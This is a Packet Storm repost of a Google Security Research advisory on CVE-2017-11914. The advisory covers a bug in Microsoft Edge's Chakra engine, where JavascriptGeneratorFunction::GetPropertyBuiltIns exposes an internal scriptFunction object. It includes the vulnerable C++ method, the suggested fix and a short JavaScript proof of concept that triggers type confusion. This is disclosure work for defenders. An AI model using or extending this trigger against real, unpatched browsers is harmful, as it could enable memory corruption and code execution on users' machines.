Twenty Year Anniversary

Microsoft Edge Chakra JavascriptGeneratorFunction::GetPropertyBuiltIns Exposure

Microsoft Edge Chakra JavascriptGeneratorFunction::GetPropertyBuiltIns Exposure
Posted Jan 17, 2018
Authored by Google Security Research, lokihardt

Microsoft Edge Chakra suffers from a JavascriptGeneratorFunction::GetPropertyBuiltIns exposure of scriptFunction.

tags | exploit
advisories | CVE-2017-11914
MD5 | e8df0b0b2e1f9ed2b06276033e5b5645

Microsoft Edge Chakra JavascriptGeneratorFunction::GetPropertyBuiltIns Exposure

Change Mirror Download
Microsoft Edge: Chakra: JavascriptGeneratorFunction::GetPropertyBuiltIns exposes scriptFunction 

CVE-2017-11914


Here's a snippet of the method.
bool JavascriptGeneratorFunction::GetPropertyBuiltIns(Var originalInstance, PropertyId propertyId, Var* value, PropertyValueInfo* info, ScriptContext* requestContext, BOOL* result)
{
if (propertyId == PropertyIds::length)
{
...
int len = 0;
Var varLength;
if (scriptFunction->GetProperty(scriptFunction, PropertyIds::length, &varLength, NULL, requestContext))
{
len = JavascriptConversion::ToInt32(varLength, requestContext);
}
...
return true;
}

return false;
}

"JavascriptGeneratorFunction" is like a wrapper class used to ensure the arguments for "scriptFunction". So "scriptFunction" must not be exposed to user JavaScript code. But the vulnerable method exposes "scriptFunction" as "this" when getting the "length" property.

The code should be like: "scriptFunction->GetProperty(this, PropertyIds::length, &varLength, NULL, requestContext);"

Type confusion PoC:
function* f() {
}

let g;
f.__defineGetter__('length', function () {
g = this; // g == "scriptFunction"
});


f.length;

g.call(0x1234, 0x5678); // type confusion


This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.




Found by: lokihardt

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

Want To Donate?


Bitcoin: 18PFeCVLwpmaBuQqd5xAYZ8bZdvbyEWMmU

File Archive:

June 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    14 Files
  • 2
    Jun 2nd
    1 Files
  • 3
    Jun 3rd
    3 Files
  • 4
    Jun 4th
    18 Files
  • 5
    Jun 5th
    21 Files
  • 6
    Jun 6th
    9 Files
  • 7
    Jun 7th
    16 Files
  • 8
    Jun 8th
    18 Files
  • 9
    Jun 9th
    5 Files
  • 10
    Jun 10th
    2 Files
  • 11
    Jun 11th
    21 Files
  • 12
    Jun 12th
    34 Files
  • 13
    Jun 13th
    15 Files
  • 14
    Jun 14th
    16 Files
  • 15
    Jun 15th
    4 Files
  • 16
    Jun 16th
    1 Files
  • 17
    Jun 17th
    2 Files
  • 18
    Jun 18th
    13 Files
  • 19
    Jun 19th
    0 Files
  • 20
    Jun 20th
    0 Files
  • 21
    Jun 21st
    0 Files
  • 22
    Jun 22nd
    0 Files
  • 23
    Jun 23rd
    0 Files
  • 24
    Jun 24th
    0 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close